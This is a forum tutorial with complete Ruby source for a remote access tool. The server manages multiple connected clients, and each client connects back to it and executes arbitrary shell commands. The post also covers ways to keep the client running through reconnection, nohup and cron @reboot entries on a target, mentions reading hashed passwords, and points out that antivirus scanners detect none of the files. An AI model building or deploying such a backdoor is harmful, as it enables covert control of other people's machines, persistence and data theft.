How-to Build Your Own Ruby RAT

Hi everyone!

Building your own RAT is a fun way to practice programming and learn a few things about networking. This how-to covers building a Ruby LAN Remote Administration Tool for Linux.

This post is aimed at beginner/intermediate programmers who want to build their own custom RAT quickly. For this reason the RAT won’t have all the bells and whistles like AES encryption, auto-install, etc.

I encourage anyone who follows the how-to to customize their RAT as much as possible - add your own methods, commands, names and whatever extra functionality you can think of.

Code available at: https://github.com/chr0x6d/ryat

Features

  • Persistent clients - error handling to keep clients up and running, clients will stay up if the server goes down.

  • Multi-client - server is designed for managing multiple clients.

  • TCP Socket Communication - to enable Internet communication port-forwarding is an option but that will not be covered here. LAN works without port-forwarding.

  • Easy addition of custom commands and methods

Requirements

  • Basic Ruby and OOP knowledge
  • Preferably use Ruby 3.0.0
  • gem install colorize

Setup

Straightforward structure, server.rb is a standalone script.
client.rb requires helpers.rb, we will see how this works later.

├── client
│   ├── client.rb
│   └── helpers.rb
└── server.rb

The Server

The bulk of our code will be in server.rb. When we’re finished writing it we will have a capable server with utilities for handling clients. Lets get started building.

#!/usr/bin/env ruby

require 'socket' # TCP networking
require 'colorize' # Provides nice terminal colors

Client Class

Our server.rb script will contain 2 classes - Server and Client. Server is the primary object which will use Client objects to store each connected client.

We can now define the Client class. We’ll see how it works when we put it to use in the Server class.

class Client
  attr_accessor :connection, :addr, :uid

  def initialize(connection, addr, uid)
    @connection = connection
    @addr = addr
    @uid = uid
  end

  # by defining to_s(to_string) we simplify printing Client info
  # print Client.new => "ID: 1 IP: 192.168.1.2"
  def to_s
    "ID: #{@uid.to_s} IP: #{@addr.to_s}".green
  end
end

Server Class

The Server class is large, containing our server initialization, client acceptance loop and many useful utility methods that will help us manage clients.

Server Class Initialize

Our Server class takes port as an argument, starts the server and initializes various instance variables we will use to keep track of clients.

class Server
  attr_accessor :client_count, :current_client

  def initialize(port)
    @client_count = 0
    @current_client = nil
    @clients = {}

    @server = TCPServer.new(port)
    @server.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true)
  end

By default after TCPServer.new(port) a TIME_WAIT of 30-120s starts, preventing us from reusing that port. Setting SO_REUSEADDR to true is not necessary but allows us quick restarts by removing TIME_WAIT.

Server Class Run

Now we’ll define the core method of the Server class, run, which will contain a never-ending loop to listen for client connections. In Ruby loop do...end is equivalent to while true do..end.

Inside the loop we’ll have a begin...rescue Exception...end, this is an error handling block that will be a common practice throughout the RAT. Without error handling a single invalid client connection could crash our server. Instead of letting our server terminate, we rescue the Exception, print it and move on.

  def run
    loop do
      begin
        connection = @server.accept
        client_id = @client_count + 1

        client = Client.new(
          connection,
          connection.peeraddr[3],
          client_id
        )
        puts "\nNew connection => #{client}".green

        # Add our new client to @clients hash
        @clients[client_id] = client

        @client_count += 1
      rescue Exception => e
        puts e.backtrace.red
      end
    end
  end

When a client connects, @server.accept returns a socket built-in object TCPSocket to connection. We now have access to clients connection information with the array connection.peeraddr => [domain, port, name, IP], we only require the IP address so we use connection.peeraddr[3].

Our Client class takes 3 parameters => (TCPSocket, IP, UID)
After passing connection and connection.peeraddr[3] we then pass the UID.

@client_count increases or decreases by 1 as Clients are added/removed. We use this to assign a unique identifier(UID) to each Client object.

@clients is a hash(often called a dictionary in other languages). The keys are UID’s and the values Client objects. We will use the @clients hash often to access all or individual Clients.

Server Class Utilities

The following methods add general functionality to our server. We need to be able to select a specific client, remove clients, check if clients are active etc.

We could have 5 clients connected for example, and we want to send a command to client ID 3 only. For this purpose we need to be able to select_client(id) and unselect by changing @current_client.

In select_client we see a common Ruby logic style called guard clauses, instead of wrapping code in an if do...end block we use an if modifier and raise/return.

  def select_client(id)
    begin
      @current_client = @clients[id]

      # Ruby-Style guard clause
      raise NoMethodError if @current_client.nil?

      puts "Client #{id} selected".green
    rescue NoMethodError => e
      puts "Invalid id: #{id}\nEnter 'clients' to see available clients".red
    end
  end

  def unselect
    @current_client = nil
  end

We can now define a couple simple helper methods for iterating through clients. get_clients returns an array of Client objects from the @clients hash.

list_clients prints each clients ID/IP, the Client to_s method is automatically used, as Ruby’s puts/print calls to_s on every object passed to it.

  def get_clients
    cli = []
    @clients.each_value { |c| cli << c }
    cli
  end

  def list_clients
    # Another guard clause
    return 'No clients available'.red if @clients.empty?
    get_clients.each { |client| puts client }
  end

Sending and Receiving from TCP sockets is an error-ridden practice. It can take time for a port to close - up to 2 minutes as we’ve seen from TIME_WAIT, without any indicator that it is down.

Sending commands to a client that is down can result in a Broken Pipe error, as the packets are never received. Attempting to receive from a client that is down could cause our program to hang - much like having a $stdin.gets and never entering any user input.

Clients inevitably will go down for any number of reasons - system shutdown, network issues etc. When this happens we don’t want one client to crash the entire server because it refuses to read a command, so as before we use begin...Rescue Exception...end blocks.

  def send_client(msg, client)
    begin
      client.connection.write(msg)
    rescue Exception => e
      puts e.backtrace.red
    end
  end

  def recv_client(client)
    begin
      len = client.connection.gets # How many bytes are sent from client to us
      client.connection.read(len.to_i) # If there are bytes to read, return them as text
    rescue Exception => e
      puts e.backtrace.red
    end
  end

As well as accepting clients, we need to be able to remove them. For this we’ll define destroy_client(id). This allows the server admin to specify a client’s UID and it will be shutdown client-side and removed from the server.

When removing a client server-side, all we need is @clients.delete(id), removing that client from our @clients hash. Our clients will be persistent though, they don’t care if the server is up/down, and will continue running.

To really stop a client, we send it a specific command, send_client('destroy', client) in this case. When the client receives 'destroy' it will stop, we’ll see this in action when we’re implementing the client.

  def destroy_client(id)
    begin
      client = @clients[id]
      raise NoMethodError if client.nil?

      # If the client we're removing is currently selected, unselect it
      # We must check @current_client exists before unselecting
      if @current_client
        unselect if @current_client.uid == id
      end

      send_client('destroy', client)
      @clients.delete(id)
      @client_count -= 1
      puts "Client #{id} destroyed".yellow
    rescue NoMethodError => e
      puts "Invalid id: #{id}\nEnter 'clients' to see available clients".red
    end
  end

Imagine if we had 20 clients connected, and 10 of them were no longer responding to commands. We could go through and destroy_client(id) each client, but thats tedious.

As we’ve seen, sockets can’t tell us if they’re alive or not, the only way to tell is to send bytes over the wire and check the response. Thats exactly what the heartbeat method will do, named after so-called heartbeat pings.

In our client implementation, we will anticipate the 'heartbeat' message and respond with 'alive'. If a client is unable to respond correctly then we know it is down, and we call destroy_client(id) on it.

  def heartbeat
    # Check if clients are still alive and responding, remove otherwise
    get_clients.each do |temp_client|
      send_client('heartbeat', temp_client)
      beat = recv_client(temp_client)
      destroy_client(temp_client.uid) if beat != 'alive'
    end
    puts "Heartbeat Finished - All non-responding clients removed.".green
  end

Sometimes we’ll want to shut our server down, but keep the clients running, so that we can start the server later and the clients will be waiting to reconnect. This will be the quit method.

Or we’ll want to shut it all down - send 'destroy' to every client and then close the server. For this we’ll define hardexit.

  def quit
    print "Exit server but keep clients active? [y/n]: "
    inp = $stdin.gets.chomp.downcase
    exit 0 if inp == 'yes' || inp == 'y'
  end

  def hardexit
    print "Exit server and destroy all clients? [y/n]: "
    inp = $stdin.gets.chomp.downcase
    if inp == 'yes' || inp == 'y'
      get_clients.each { |client| send_client('destroy', client) }
      exit 0
    end
  end
end

Thats our Server class finished! If you’re feeling ambitious, add a few custom methods to Server that improves upon it. An example would be a broadcast(cmd) that sends cmd to every client in @clients.


Using the Server

We will finish server.rb with 3 final methods(not in Server class). help for printing available commands, get_input for getting input from the server admin and start which will launch our server and wait for input.

In start we will define arrays of client-specific and server commands. They will be passed to help so that the admin can view them.

def help(server_cmds, client_cmds)
  puts "Server Commands:".green
  server_cmds.each { |gen| puts "- #{gen}" }
  puts "\nClient Commands:".green
  client_cmds.each { |cli| puts "- #{cli}" }
end

get_input is very simple, by using a default parameter prompt we’ll have a base prompt for our RAT. $stdin.gets.chomp will wait for terminal text input and return it.

def get_input(prompt = 'ryat>')
  print "#{prompt} "
  $stdin.gets.chomp
end

Now for our final method in server.rb, start will launch a new Server, deal with admin input and print data from clients.

We assign a port from terminal arguments, ./server.rb 4000 if its passed, otherwise we give it a default value with port ||= 3200. The server.run method is placed in a Thread, so that it can run in parallel with start.

We define our arrays of commands - client_cmds will only work when @current_client is set. server_cmds will be available for use at all times.

def start
  port = ARGV[0]
  port ||= 3200

  client = nil
  data = nil
  history = []
  server = Server.new(port)

  Thread.new { server.run }
  puts "Sever started on port #{port}".green

  client_cmds = %w[
    exe ls pwd pid ifconfig system
  ]

  server_cmds = %w[
    help select unselect clients heartbeat history destroy hardexit exit
  ]

Now we’re ready to parse admin input. The remaining code in start will be contained in a loop do...end for interactivity.

First we use our get_input method, and ensure we pass server.current_client.uid to the prompt if a client is selected, otherwise the prompt will default to 'ryat> '.

next is the Ruby equivalent to continue in other languages, the execution will jump back to the start of the loop do...end if input.nil?. We also store commands made in history array similarly to cat ~/.bash_history.

  loop do
    if server.current_client.nil?
      input = get_input
    else
      input = get_input("ryat (Client #{server.current_client.uid})> ")
    end

    next if input.nil?
    history.push(input)
    cmd, action = input.split(' ')

    if client_cmds.include?(input) && server.current_client.nil?
      puts "Client specific command used".red
      puts "Select a client first (#{server.client_count} available)".red
      next
    end

Now we must act upon the admin’s input. As we’re comparing against string literals, we’ll use a large case...end, Ruby’s equivalent to switch. Note that in a case...end it is Ruby style not to indent the when because a case...end doesn’t create a new scope.

First we’ll add the server commands, most of which will call a method from our server object.

    case cmd
    # Server Commands
    when 'help'
      help(server_cmds, client_cmds)
    when 'select'
      server.select_client(action.to_i)
    when 'unselect'
      server.unselect
    when 'clients'
      server.list_clients
    when 'heartbeat'
      server.heartbeat
    when 'hardexit'
      server.hardexit
    when 'history'
      history.each_with_index { |cmd, i| puts "#{i}: #{cmd}"}
    when 'destroy'
      server.destroy_client(action.to_i)
    when 'exit'
      server.quit
      next # Only reached if the admin doesn't confirm exit
    when 'hardexit'
      server.hardexit
      next

Continuing on in the same case...end we add the client commands. Most commands such as ls, pwd and pid are added to a single when as we can send them directly as cmd.

The exe command is special though, as we want to send the entire input. This allows us to send long bash commands to the client like exe wget -r --tries=10 www.google.com.

If we get data back from a command, we’ll then print it with puts data unless data.nil?. Then reset data back to nil so it doesn’t interfere with the next command. Finally we call start(), setting our server in motion.

    # Client Commands
    when 'exe'
      next if action.nil?
      server.send_client(input, server.current_client)
      data = server.recv_client(server.current_client)
    when 'ls', 'pwd', 'pid', 'ifconfig', 'system'
      server.send_client(cmd, server.current_client)
      data = server.recv_client(server.current_client)
    else
      puts "Unknown command: #{input}. Enter 'help' for available commands.".red
    end
    puts data unless data.nil?
    data = nil
  end
end

start()

We’ve finished server.rb, try it out with ./server.rb 4000 and you should be greeted with a friendly Server has started on port 4000 and a prompt. If you get a Socket error, try running the server on a different port.

Maybe put your own spin on the server, complete with ASCII art and custom commands :slight_smile:


The Client

If you’ve made it this far, great, the hard part is over. The client is far shorter than the server. The client has 2 jobs - execute commands and stay running no matter what.

helpers.rb

The client will be composed of 2 scripts, helpers.rb and client.rb. We’ll write helpers.rb first, it will contain a short module that we will use in client.rb.

require 'socket'
require 'etc'

module Helpers
  def self.exe(cmd)
    # `` executes bash command in Ruby
    `#{cmd}`
  end

  def self.ls
    `ls`
  end

  def self.pwd
    Dir.pwd
  end

  def self.pid
    Process.pid
  end

  def self.ifconfig
    # With || 'ip a' will run if 'ifconfig' is not installed
    `ifconfig || ip a`
  end

  def self.system
    result = "OS: " + RUBY_PLATFORM + "\n"
    result += "Architecture: " + `uname -m`
    result += "Hostname: " + Socket.gethostname + "\n"
    result += "User: " + Etc.getlogin
  end
end

Here is where Ruby really shines as a scripting language - we don’t mess around with system() or popen() functions like in other languages. Anything we want executed as a bash command is placed in-between `` backticks.

In this version the self.pwd method uses Dir.pwd, a Ruby built-in for finding the present working directory. See if you can use a `` bash command to recreate it.

require 'etc' gives us access to the Ruby built-in module for accessing information generally stored in the /etc directory. In this version we grab the current logged in user with Etc.getlogin. Other information like Etc.passwd to get the hashed password is available too. The Etc Documentation could be useful to you.

client.rb

We need the client to have solid error handling to avoid crashes, and to be ready to receive and execute commands.

We use require_relative "helpers.rb" to bring the Helpers module into client.rb. We’re also bringing in socket and etc as they were in helpers.rb, similarly to how C++ header files work.

#!/usr/bin/env ruby

require_relative "helpers.rb"

We will have 2 methods in client.rb, handle_client and main. Once a client has been created and passed to handle_client we enter a loop do...end that listens for server commands with data = client.recv(1024).

1024 is the max number of bytes the client can read from the server in a single message, if you expect your server could be sending larger messages set a larger number.

Once we’ve received the servers command, we use a case...end to call the correct Helpers method, execute it and hold the output in result.

If you recall from the Server client_recv checked the length of the message being sent and then read in that length in bytes. This works because we send client.puts(result.length) directly before we write the actual message with client.write(result) in handle_client.

def handle_client(client)
  loop do
    result = ''
    data = client.recv(1024)
    next if data.nil?
    cmd, action = data.split ' '

    case cmd
    when 'heartbeat'
      result = 'alive'
    when 'exe'
      result = Helpers.exe(data.gsub('exe ', ''))
    when 'ls'
      result = Helpers.ls
    when 'pwd'
      result = Helpers.pwd
    when 'pid'
      result = Helpers.pid
    when 'ifconfig'
      result = Helpers.ifconfig
    when 'system'
      result = Helpers.system
    when 'destroy'
      return 42
    end

    result = result.to_s
    client.puts(result.length)
    client.write(result)
  end
end

We don’t have any error handling in handle_client because we intend for errors to come back out to main and get caught there.

When main is first called, we enter the first loop do...end. Here client = nil will reset the old client if it existed from previous iterations. We then attempt to create a new TCPSocket object called client.

At this point if the Server is down an EAFNOSUPPORT error will occur as the socket port is not available for the client. Without the begin...rescue Exception...end blocks our client would crash. Instead we print the error, then sleep(timeout) pausing the programs execution for timeout in seconds.

Once the program’s execution begins again, it will move through the entire loop do...end and reach TCPSocket.new again. This will continue indefinitely until the Server is up and there is no Exception to rescue.

def main(host, port, timeout)
  # Main loop to repeatedly attempt server connection
  loop do
    client = nil
    begin
      client = TCPSocket.new(host, port)
    rescue Exception => e
      puts e.message
      puts e.backtrace
      sleep(timeout)
    end

    exit_code = 0
    begin
      exit_code = handle_client(client)
    rescue Interrupt
      exit 0
    rescue Exception => e
      puts e.message
      puts e.backtrace
    end

  exit 0 if exit_code == 42
  end
end

I choose to use 42 as a signal to fully exit 0 the client. Any number/string could be used for the exit_code.

You might be wondering why we don’t exit 0 directly from handle_client when we receive the 'destroy' message. This is due to the error handling of rescue Exception catching all exceptions and even exit is considered an exception.

We finish our RAT by setting optional command-line arguments for client.rb and calling main.

host = ARGV[0]
port = ARGV[1]

# If host/port is not passed in ARGV, default to localhost:3200
host ||= "localhost"
port ||= 3200
timeout = 2

main(host, port, timeout)

Conclusion

We can now launch clients with ./client.rb localhost 4000. If a server was listening on locahost:4000 the text New Connection: ID: 1 IP: 127.0.0.1 should appear in your server terminal.

So lets say you’ve got a server running on port 4000, you get the LAN IP of the server machine using ifconfig or ip addr, and its 192.168.1.8. Now if you have a spare laptop or virtual machine copy client.rb and helpers.rb to it. Run ./client.rb 192.168.1.8 4000, if all went well, you’ll have a new connection :slight_smile:

To run client.rb in the background, you can use nohup ruby client.rb &.

Setting client.rb to run on startup is very possible, but will be different depending on the target distro. One approach for systems using cron is crontab -e and adding @reboot /path/to/client.rb. Maybe in your version client.rb could automatically add itself to startup.

As expected from Ruby scripts without any malicious functionality like keylogging, client.rb, helpers.rb and server.rb have 0 detections from virustotal.

https://www.virustotal.com/gui/file/a18cdebfa39c73f0bd487742610937a317e1c7ec02f362dbe3887be11688ffdc/detection

https://www.virustotal.com/gui/file/4bcf6300d01533e49085c82282e029d82848bd46b3a48909730c1303c2e4c29b/detection

https://www.virustotal.com/gui/file/0d107e5e74bbd130fdad17fa495dfa73978550457aca469048840b6d0d5ae8be/detection

Thank you for reading! Let me know of any improvements or suggestions.

7 Likes

Thanks for nice article :smile:

This topic was automatically closed after 121 days. New replies are no longer allowed.